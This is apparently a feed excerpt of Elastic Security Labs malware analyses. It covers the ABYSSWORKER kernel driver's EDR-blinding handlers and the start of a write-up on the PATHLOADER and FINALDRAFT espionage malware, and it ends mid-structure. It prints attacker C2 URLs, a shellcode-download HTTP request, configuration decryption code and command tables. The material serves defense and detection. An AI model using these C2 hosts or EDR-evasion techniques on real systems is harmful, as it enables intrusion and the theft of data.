<p>This handler has two modes of operation: a full mode and a partial mode. In full mode, it loads the APIs using a mapping structure of function names and RVA provided by the user as input to the IO control. In partial mode, it searches for some of the APIs on its own but does not load all the APIs that are loaded in full mode, hence the term partial mode. If the user opts for partial mode due to the inability to provide this mapping structure, some handlers will not execute. In this chapter, we only cover the full mode of operation.</p>
<p>We detail the structures used below:</p>
<pre><code class="language-c">#define AM_NAME_LENGTH 256
typedef struct _struct_435
{
   uint64_t rva;
   char name[AM_NAME_LENGTH];
} struct_435_t;

#define AM_ARRAY_LENGTH 1024
typedef struct _struct_433
{
   struct_435_t array[AM_ARRAY_LENGTH];
   uint32_t length;
} struct_433_t;
</code></pre>
<p>We provide a short example of usage below:</p>
<pre><code class="language-c">struct_433_t api_mapping = {
    .length = 25,
    .array = {
        [0] = {.rva = 0xcec620, .name = &quot;PspLoadImageNotifyRoutine&quot;},
        [1] = {.rva = 0xcec220, .name = &quot;PspCreateThreadNotifyRoutine&quot;},
        [2] = {.rva = 0xcec420, .name = &quot;PspCreateProcessNotifyRoutine&quot;},
        // (...)
        [24] = {.rva = 0x250060, .name = &quot;NtfsFsdShutdown&quot;},
}};

uint32_t malware_load_api(HANDLE device)
{
    return send_ioctrl(device, IOCTRL_LOAD_API, &amp;api_mapping, sizeof(struct_433_t), NULL, 0);
}
</code></pre>
<p>To load its API, the function starts by loading three 'callback lists' from different kernel object types. These are used by the handler that removes registered notification callbacks belonging to a specific module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image23.png" alt="ABYSSWORKER getting callback list from kernel’s _OBJECT_TYPEs 0x5502" /></p>
<p>Then, it loads pointers to functions by using the provided structure, simply by searching for the function name and adding the associated RVA to the module's base address.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image9.png" alt="Get function RVA from structure 0x5896" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image6.png" alt="Search RVA associated with function name in structure 0x3540" /></p>
<p>This is done for the following 25 functions:</p>
<ul>
<li><code>PspLoadImageNotifyRoutine</code></li>
<li><code>PspCreateThreadNotifyRoutine</code></li>
<li><code>PspCreateProcessNotifyRoutine</code></li>
<li><code>CallbackListHead</code></li>
<li><code>PspSetCreateProcessNotifyRoutine</code></li>
<li><code>PspTerminateThreadByPointer</code></li>
<li><code>PsTerminateProcess</code></li>
<li><code>IopInvalidDeviceRequest</code></li>
<li><code>ClassGlobalDispatch</code></li>
<li><code>NtfsFsdRead</code></li>
<li><code>NtfsFsdWrite</code></li>
<li><code>NtfsFsdLockControl</code></li>
<li><code>NtfsFsdDirectoryControl</code></li>
<li><code>NtfsFsdClose</code></li>
<li><code>NtfsFsdCleanup</code></li>
<li><code>NtfsFsdCreate</code></li>
<li><code>NtfsFsdDispatchWait</code></li>
<li><code>NtfsFsdDispatchSwitch</code></li>
<li><code>NtfsFsdDispatch</code></li>
<li><code>NtfsFsdFlushBuffers</code></li>
<li><code>NtfsFsdDeviceControl</code></li>
<li><code>NtfsFsdFileSystemControl</code></li>
<li><code>NtfsFsdSetInformation</code></li>
<li><code>NtfsFsdPnp</code></li>
<li><code>NtfsFsdShutdown</code></li>
</ul>
<h3>File copy and deletion (0x222184, 0x222180)</h3>
<p>To copy or delete files, ABYSSWORKER relies on a strategy that, although not new, remains interesting. Instead of using a common API like <code>NtCreateFile</code>, an I/O Request Packet (IRP) is created from scratch and sent directly to the corresponding drive device containing the target file.</p>
<h4>Creating a file</h4>
<p>The file creation function is used to showcase how this mechanism works. The function starts by obtaining the drive device from the file path. Then, a new file object is created and linked to the target drive device, ensuring that the new object is properly linked to the drive.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image15.png" alt="Building a new file object 0x7A14" /></p>
<p>Then, it creates a new IRP object and sets all the necessary data to perform the file creation operation. The major function targeted by this IRP is specified in the <code>MajorFunction</code> property, which, in this case, is set to <code>IRP_MJ_CREATE</code>, as expected for file creation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image16.png" alt="Building new IRP 0x7C68" /></p>
<p>Then, the malware sends the IRP to the target drive device. While it could have used the <code>IoCallDriver</code> API to do so, it instead sends the IRP manually by calling the corresponding device's major function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image15.png" alt="Sending IRP to device 0x9B14" /></p>
<p>At this point, the file object is valid for further use. The handler finishes its work by incrementing the reference counter of the file object and assigning it to its output parameter for later use.</p>
<h4>Copying a file</h4>
<p>To copy a file, ABYSSWORKER opens both the source and destination files, then reads (<code>IRP_MJ_READ</code>) from the source and writes (<code>IRP_MJ_WRITE</code>) to the destination.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image40.png" alt="Copying file using IRPs 0x4BA8" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image31.png" alt="Reading and writing files using IRPs 0x66D9" /></p>
<h4>Deleting a file</h4>
<p>The deletion handler sets the file attribute to <code>ATTRIBUTE_NORMAL</code> to unprotect any read-only file and sets the file disposition to delete (<code>disposition_info.DeleteFile = 1</code>) to remove the file using the <code>IRP_MJ_SET_INFORMATION</code> IRP.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image30.png" alt="Setting file attribute to normal and deleting it 0x4FB6" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image24.png" alt="Building IRP_MJ_SET_INFORMATION IRP to delete file 0x67B4" /></p>
<h3>Notification callbacks removal by module name (0x222400)</h3>
<p>Malware clients can use this handler to blind EDR products and their visibility. It searches for and removes all registered notification callbacks. The targeted callbacks are those registered with the following APIs:</p>
<ul>
<li><code>PsSetCreateProcessNotifyRoutine</code></li>
<li><code>PsSetLoadImageNotifyRoutine</code></li>
<li><code>PsSetCreateThreadNotifyRoutine</code></li>
<li><code>ObRegisterCallbacks</code></li>
<li><code>CmRegisterCallback</code></li>
</ul>
<p>Additionally, it removes callbacks registered through a MiniFilter driver and, optionally, removes devices belonging to a specific module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image34.png" alt="Deleting notifications callbacks and devices 0x263D" /></p>
<p>To delete those notification callbacks, the handler locates them using various methods, such as the three global callback lists previously loaded in the loading API handler, which contain callbacks registered with <code>ObRegisterCallbacks</code> and <code>CmRegisterCallback</code>. It then deletes them using the corresponding APIs, like <code>ObUnRegisterCallbacks</code> and <code>CmUnRegisterCallbacks</code>.</p>
<p>Blinding EDR using these methods deserves a whole blog post of its own. To keep this post concise, we won’t provide more details here, but we invite the reader to explore these methods in two well-documented projects that implement these techniques:</p>
<ul>
<li><a href="https://github.com/wavestone-cdt/EDRSandblast/tree/master">EDRSandblast</a></li>
<li><a href="https://github.com/myzxcg/RealBlindingEDR">RealBlindingEDR</a></li>
</ul>
<h3>Replace driver major functions by module name <code>0x222404</code></h3>
<p>Another way to interfere with a driver is by using this handler to replace all its major functions with a dummy function, thus disabling any interaction with the driver, given a target module name.</p>
<p>To achieve this, ABYSSWORKER iterates through the driver objects in the <code>Driver</code> and <code>Filesystem</code> object directories. For each driver object, it compares the underlying module name to the target module, and if they match, it replaces all of its major functions with <code>IopInvalidDeviceRequest</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image36.png" alt="Replacing targeted driver major functions with dummy functions 0x9434" /></p>
<h3>Detach mini filter devices (0x222440)</h3>
<p>This handler iterates over all driver objects found in the <code>Driver</code> and <code>FileSystem</code> object directories. For each driver, it explores its device tree and detaches all devices associated with the mini filter driver: <code>FltMgr.sys</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image39.png" alt="Searching object directories for FltMgr.sys driver to delete its devices 0xE1D8" /></p>
<p>The function works by iterating over the devices of the driver through the <code>AttachedDevice</code> and <code>NextDevice</code> pointers, retrieving the module name of each device's associated driver, and comparing it to the target module name passed as a parameter (<code>”FltMgr.sys”</code>). If the names match, it uses the <code>IoDetachDevice</code> function to unlink the device.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image32.png" alt="Iterating and detaching all devices by module name 0xB9E" /></p>
<h3>Kill system threads by module name (0x222408)</h3>
<p>This handler iterates over threads by brute-forcing their thread IDs and kills them if the thread is a system thread and its start address belongs to the targeted module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image8.png" alt="Brute-forcing threads to find and terminate targeted module system threads 0xECE6" /></p>
<p>To terminate the thread, the malware queues an APC (asynchronous procedure call) to execute code in the context of the targeted thread. Once executed, this code will, in turn, call <code>PsTerminateSystemThread</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image27.png" alt="ABYSSWORKER queuing APC to terminate target thread 0x10A6" /></p>
<h3>Terminate process and terminate thread (0x222144, 0x222140)</h3>
<p>With these two handlers you can terminate any process or a thread by their PID or Thread ID (TID) using <code>PsTerminateProcess</code> and <code>PsTerminateThread</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image37.png" alt="Terminating process by PID 0x2081" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image13.png" alt="Terminating thread by TID 0x1F07" /></p>
<h3>Removing hooks from Ntfs and Pnp drivers' major functions (0x222444)</h3>
<p>On top of registering notification callbacks, some EDRs like to hook major functions of the <code>NTFS</code> and <code>PNP</code> drivers. To remove those hooks, the malware can call this driver to restore the original major functions of those drivers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image25.png" alt="Restoring hooked NTFS and PNP driver major functions 0x2D32" /></p>
<p>ABYSSWORKER simply iterates over each registered major function, checks if the function belongs to the driver module, and if not, it means the function has been hooked, so it replaces it with the original functions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image38.png" alt="Restoring major function if hooked 0x43AD" /></p>
<h3>Reboot <code>0x222664</code></h3>
<p>To reboot the machine, this handler uses the undocumented function <code>HalReturnToFirmware</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image19.png" alt="ABYSSWORKER reboot the machine from the kernel 0x2DC0" /></p>
<h1>Client implementation example</h1>
<p>In this blog post, we provide a small client implementation example. This example works with the reference sample and was used to debug it, but doesn’t implement all the IOCTRLs for the driver and is unlikely to be updated in the future.</p>
<p>However, it contains all the functions to enable it and load its API, so we hope that any motivated reader, with the help of the information in this article, will be able to extend it and further experiment with this malware.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image2.png" alt="Client example output" /></p>
<p>The repository of the project is available <a href="https://github.com/elastic/labs-releases/tree/main/tools/abyssworker/client">here</a>.</p>
<h1>Malware and MITRE ATT&amp;CK</h1>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h2>Tactics</h2>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
</ul>
<h2>Techniques</h2>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1222">File and Directory Permissions Modification</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001">Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1553/002">Code Signing</a></li>
</ul>
<h1>Mitigations</h1>
<h2>YARA</h2>
<p>Elastic Security has created the following YARA rules related to this post:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Rootkit_AbyssWorker.yar">https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Rootkit_AbyssWorker.yar</a></li>
</ul>
<h1>Observations</h1>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Reference</th>
<th align="left">Date</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>6a2a0f9c56ee9bf7b62e1d4e1929d13046cd78a93d8c607fe4728cc5b1e8d050</code></td>
<td align="left">SHA256</td>
<td align="left">ABYSSWORKER reference sample</td>
<td align="left">VT first seen: 2025-01-22</td>
</tr>
<tr>
<td align="left"><code>b7703a59c39a0d2f7ef6422945aaeaaf061431af0533557246397551b8eed505</code></td>
<td align="left">SHA256</td>
<td align="left">ABYSSWORKER sample</td>
<td align="left">VT first seen: 2025-01-27</td>
</tr>
</tbody>
</table>
<h1>References</h1>
<ul>
<li>Google Cloud Mandiant, Mandiant Intelligence. I Solemnly Swear My Driver Is Up to No Good: Hunting for Attestation Signed Malware. <a href="https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/">https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/</a></li>
<li>Unit42, Jerome Tujague, Daniel Bunce. Crypted Hearts: Exposing the HeartCrypt Packer-as-a-Service Operation, December 13, 2024. <a href="https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/">https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/</a></li>
<li>ConnectWise, Blake Eakin. &quot;Attackers Leveraging Microsoft Teams Defaults and Quick Assist for Social Engineering Attacks&quot;, January 31 2025. <a href="https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/">https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/</a></li>
<li>wavestone-cdt, Aug 30, 2024. <a href="https://github.com/wavestone-cdt/EDRSandblast/tree/master">https://github.com/wavestone-cdt/EDRSandblast/tree/master</a></li>
<li>myzxcg, May 24, 2024. <a href="https://github.com/myzxcg/RealBlindingEDR">https://github.com/myzxcg/RealBlindingEDR</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/abyssworker.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[You've Got Malware: FINALDRAFT Hides in Your Drafts]]></title>
            <link>https://www.elastic.co/pt/security-labs/finaldraft</link>
            <guid>finaldraft</guid>
            <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[During a recent investigation (REF7707), Elastic Security Labs discovered new malware targeting a foreign ministry. The malware includes a custom loader and backdoor with many features including using Microsoft’s Graph API for C2 communications.]]></description>
            <content:encoded><![CDATA[<h1>Summary</h1>
<p>While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.</p>
<p>Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.</p>
<p>The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.</p>
<p>This report details the features and capabilities of these tools.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image47.png" alt="PATHLOADER &amp; FINALDRAFT execution diagram" /></p>
<p>For the campaign analysis of REF7707 - check out <a href="https://www.elastic.co/pt/security-labs/fragile-web-ref7707">From South America to Southeast Asia: The Fragile Web of REF7707</a>.</p>
<h1>Technical Analysis</h1>
<h2>PATHLOADER</h2>
<p>PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.</p>
<p>Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.</p>
<h3>Configuration</h3>
<p>PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the <code>.data</code> section that includes C2 and other relevant settings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image7.png" alt="Embedded configuration" /></p>
<p>After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.</p>
<pre><code>https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*
</code></pre>
<p><em>Configuration from PATHLOADER</em></p>
<h3>API Hashing</h3>
<p>In order to block static analysis efforts, PATHLOADER performs API hashing using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> function. This can be observed based on the immediate value <code>0x1000193</code> found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image10.png" alt="Occurrences of value 0x1000193" /></p>
<h3>String Obfuscation</h3>
<p>PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image56.png" alt="String obfuscation example" /></p>
<p>One string related to logging <code>WinHttpSendRequest</code> error codes used by the malware developer was left unencrypted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image55.png" alt="Logging string left unencrypted" /></p>
<h3>Execution/Behavior</h3>
<p>Upon execution, PATHLOADER employs a combination of  <code>GetTickCount64</code> and <code>Sleep</code> methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (<code>poster.checkponit[.]com</code>, <code>support.fortineat[.]com</code>) attempting to download the shellcode through <code>HTTPS</code> <code>GET</code> requests.</p>
<pre><code>GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
</code></pre>
<p>The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path <code>“/nzoMeFYgvjyXK3P”</code> as the 128-bit key used in the call to the <code>CryptImportKey</code> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image53.png" alt="CryptImportKey parameters" /></p>
<p>After the <code>CryptDecrypt</code> call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to <code>PAGE_EXECUTE_READ_WRITE</code> using the <code>NtProtectVirtualMemory</code> API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.</p>
<h2>FINALDRAFT</h2>
<p>FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.</p>
<h3>Entrypoint</h3>
<p>FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called <code>UpdateTask</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image51.png" alt="PE export of FINALDRAFT" /></p>
<h3>Initialization</h3>
<p>The malware is initialized by loading its configuration and generating a session ID.</p>
<h4>Configuration loading process</h4>
<p>The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.</p>
<pre><code class="language-c">for ( i = 0; i &lt; 0x149A; ++i )
  configuration[i] ^= decryption_key[i &amp; 7];
</code></pre>
<p><em>Decryption algorithm for configuration data</em></p>
<p>The decryption key is derived either from the Windows product ID (<code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId</code>) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image8.png" alt="Decryption key and flag found after the encrypted config blob" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image41.png" alt="Choice between the decryption key or Windows product ID for derivation" /></p>
<p>The decryption key derivation algorithm is performed as follows:</p>
<pre><code class="language-c">uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &amp;data_source[data_source_length] );
</code></pre>
<p><em>Decryption key derivation algorithm</em></p>
<p>The configuration structure is described as follows:</p>
<pre><code class="language-c">struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};
</code></pre>
<p><em>Configuration structure</em></p>
<p>The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.</p>
<p>The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.</p>
<h4>Session ID derivation process</h4>
<p>The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo</a> (FNV) hash function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image43.png" alt="FINALDRAFT client ID generation" /></p>
<h3>Communication protocol</h3>
<p>During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the <code>COutlookTrans</code> class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in <a href="https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">SIESTAGRAPH</a>, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.</p>
<p>The Microsoft Graph API token is obtained by FINALDRAFT using the <a href="https://login.microsoftonline.com/common/oauth2/token">https://login.microsoftonline.com/common/oauth2/token</a> endpoint. The refresh token used for this endpoint is located in the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image36.png" alt="Building refresh token request" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image40.png" alt="Token refresh POST request" /></p>
<p>Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:</p>
<ul>
<li><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
<li><code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
</ul>
<p>This token is reused across requests, if it is still valid.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image3.png" alt="Storing refresh token in the registry" /></p>
<p>The communication loop is described as follows:</p>
<ul>
<li>Create a session email draft if it doesn’t already exist.</li>
<li>Read and delete command request email drafts created by the C2.</li>
<li>Process commands</li>
<li>Write command response emails as drafts for each processed command.</li>
</ul>
<p>A check is performed to determine whether a session email, in the form of a command response email identified by the subject <code>p_&lt;session-id&gt;</code>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image19.png" alt="Check for session email and create one if it doesn't exist" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image46.png" alt="Session email: GET and POST requests" /></p>
<p>The session data is described in the structure below.</p>
<pre><code class="language-c">struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};
</code></pre>
<p><em>Session data structure</em></p>
<p>The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects <code>r_&lt;session-id&gt;</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image39.png" alt="Checking for commands email" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image49.png" alt="Command polling GET request" /></p>
<p>After reading the request, emails are then deleted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image15.png" alt="Deleting command email after reading" /></p>
<p>Commands are then processed, and responses are written into new draft emails, each with the same <code>p_&lt;session-id&gt;</code> subject for each command response.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image13.png" alt="Command response POST request" /></p>
<p>Content for message requests and responses are <strong>Zlib</strong> compressed, <strong>AES CBC</strong> encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.</p>
<p><code>Base64(AESEncrypt(ZlibCompress(data)))</code></p>
<p>Request messages sent from the C2 to the implant follow this structure.</p>
<pre><code class="language-c">struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};
</code></pre>
<p><em>Request message structure</em></p>
<p>Response messages sent from the implant to C2 follow this structure.</p>
<pre><code class="language-c">struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};
</code></pre>
<p><em>Response message structure</em></p>
<p>Here is an example of data stolen by the implant.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image52.png" alt="Response message example" /></p>
<h3>Commands</h3>
<p>FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image23.png" alt="FINALDRAFT command handler setup" /></p>
<p>Below is a table of the commands and their IDs:</p>
<table>
<thead>
<tr>
<th align="left">ID</th>
<th align="left">Name</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0</td>
<td align="left">GatherComputerInformation</td>
</tr>
<tr>
<td align="left">2</td>
<td align="left">StartTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">3</td>
<td align="left">StopTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">4</td>
<td align="left">ConnectToTcpTargetStartProxyToC2</td>
</tr>
<tr>
<td align="left">5</td>
<td align="left">SetSleepValue</td>
</tr>
<tr>
<td align="left">6</td>
<td align="left">DeleteNetworkProjectorFwRuleAndStopTCPServer</td>
</tr>
<tr>
<td align="left">8</td>
<td align="left">ConnectToTcpTarget</td>
</tr>
<tr>
<td align="left">9</td>
<td align="left">SendDataToUdpOrTcpTarget</td>
</tr>
<tr>
<td align="left">10</td>
<td align="left">CloseTcpConnection</td>
</tr>
<tr>
<td align="left">11</td>
<td align="left">DoProcessInjectionSendOutputEx</td>
</tr>
<tr>
<td align="left">12</td>
<td align="left">ListFiles</td>
</tr>
<tr>
<td align="left">13</td>
<td align="left">ListAvailableDrives</td>
</tr>
<tr>
<td align="left">14</td>
<td align="left">CreateDirectory</td>
</tr>
<tr>
<td align="left">15</td>
<td align="left">DeleteFileOrDirectory</td>
</tr>
<tr>
<td align="left">16</td>
<td align="left">DownloadFile</td>
</tr>
<tr>
<td align="left">17</td>
<td align="left">UploadFile0</td>
</tr>
<tr>
<td align="left">18</td>
<td align="left">DummyFunction</td>
</tr>
<tr>
<td align="left">19</td>
<td align="left">SetCurrentDirectory</td>
</tr>
<tr>
<td align="left">20</td>
<td align="left">GetCurrentDirectory</td>
</tr>
<tr>
<td align="left">21</td>
<td align="left">ListRunningProcesses</td>
</tr>
<tr>
<td align="left">24</td>
<td align="left">DoProcessInjectionNoOutput</td>
</tr>
<tr>
<td align="left">25</td>
<td align="left">DoProcessInjectionNoOutput (Same as 24)</td>
</tr>
<tr>
<td align="left">26</td>
<td align="left">DoProcessInjectionSendOutput1</td>
</tr>
<tr>
<td align="left">28</td>
<td align="left">DisconnectFromNamedPipe</td>
</tr>
<tr>
<td align="left">30</td>
<td align="left">ConnectToNamedPipeAndProxyMessageToC2</td>
</tr>
<tr>
<td align="left">31</td>
<td align="left">GetCurrentProcessTokenInformation</td>
</tr>
<tr>
<td align="left">32</td>
<td align="left">EnumerateActiveSessions</td>
</tr>
<tr>
<td align="left">33</td>
<td align="left">ListActiveTcpUdpConnections</td>
</tr>
<tr>
<td align="left">35</td>
<td align="left">MoveFile1</td>
</tr>
<tr>
<td align="left">36</td>
<td align="left">GetOrSetFileTime</td>
</tr>
<tr>
<td align="left">39</td>
<td align="left">UploadFile1</td>
</tr>
<tr>
<td align="left">41</td>
<td align="left">MoveFile0</td>
</tr>
<tr>
<td align="left">42</td>
<td align="left">CopyFileOrCopyDirectory</td>
</tr>
<tr>
<td align="left">43</td>
<td align="left">TerminateProcess</td>
</tr>
<tr>
<td align="left">44</td>
<td align="left">CreateProcess</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT command handler table</em></p>
<h3>Gather computer information</h3>
<p>Upon execution of the <code>GatherComputerInformation</code> command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.</p>
<p>This structure is described as follows:</p>
<pre><code class="language-c">struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
